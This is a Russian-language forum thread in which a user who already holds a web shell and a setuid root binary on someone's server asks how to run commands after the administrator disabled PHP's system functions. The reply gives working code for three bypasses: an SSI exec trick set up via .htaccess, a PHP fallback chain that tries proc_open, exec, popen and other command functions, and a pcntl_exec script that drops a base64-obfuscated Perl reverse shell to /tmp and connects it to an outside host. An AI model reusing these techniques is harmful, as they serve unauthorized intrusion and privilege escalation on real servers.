PDA

Просмотр полной версии : Запуск суидника


nomad
09.12.2012, 23:01
Есть шелл, есть скомпилированный суидник на сервере, дающий рута.
После недавних "происков" админа, в php отключены все системные функции, поэтому забиндить порт/сделать бэкконнект я не могу. Да, кроме php, на сервере больше нет ничего. Сервер apache 20020903, PHP Version 5.2.3-pl3-gentoo.
Хелп. Если нужны какие конфиги, скажите.

chupakabra
10.12.2012, 02:43
Попробуй, может сработает что-то из этого:

1) SSI
.htaccess
AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes
1.shtml
<pre><!--#exec cmd="id;pwd;ls -lia"-->

2) proc_open, popen, expect_popen и другие функции

function my_com($in)
{
$out = '';
if (!$out && function_exists('proc_open'))
{
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r"));
$process = proc_open($in, $descriptorspec, $pipes, null, null);
if (is_resource($process))
{
fwrite($pipes[0], "start\n"); // send start
echo ("\n\nStart ....".fgets($pipes[1],4096)); //get answer
fwrite($pipes[0], "get\n"); // send get
echo ("Get: ".fgets($pipes[1],4096)); //get answer
fwrite($pipes[0], "stop\n"); //send stop
echo ("\n\nStop ....".fgets($pipes[1],4096)); //get answer
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$out = proc_close($process); //stop test_gen.php
}
}
elseif (function_exists('exec')) {
echo "Trying exec:\n";
@exec($in,$out);
$out = @join("\n",$out);
} elseif (function_exists('passthru')) {
echo "Trying passthru:\n";
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
echo "Trying system:\n";
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
echo "Trying shell_exec:\n";
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
echo "Trying popen:\n";
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
} elseif (function_exists('expect_popen'))
{
echo "Trying expect_popen:\n";
$fp=expect_popen($in);
while(!@feof($fp)){$out .= @fread($fp,1024);};
}
return $out;
}
my_com('id;pwd;ls -lia');


3) pcntl_exec


<?php
$ip = '11.22.33.44';
$port = '80';
$perl_path = '/usr/bin/perl';
$bc_path = '/tmp/bc.pl';
$bc_code = 'IyEvdXNyL2Jpbi9wZXJsCgp1c2UgU29ja2V0OwoKJGlhZGRyP WluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCF cbiIpOwoKJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAka WFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKCiRwcm90bz1 nZXRwcm90b2J5bmFtZSgndGNwJyk7Cgpzb2NrZXQoU09DS0VUL CBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWU oIkVycm9yOiAkIVxuIik7Cgpjb25uZWN0KFNPQ0tFVCwgJHBhZ GRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7CgpvcGVuKFNUREl OLCAiPiZTT0NLRVQiKTsKCm9wZW4oU1RET1VULCAiPiZTT0NLR VQiKTsKCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKCnN5c3R lbSgnL2Jpbi9zaCAtaScpOwoKY2xvc2UoU1RESU4pOwoKY2xvc 2UoU1RET1VUKTsKCmNsb3NlKFNUREVSUik7';

file_put_contents($bc_path, base64_decode($bc_code));
$args = array($bc_path, $ip, $port);
pcntl_exec($perl_path, $args);
die("Error pcntl_exec()\n");
?>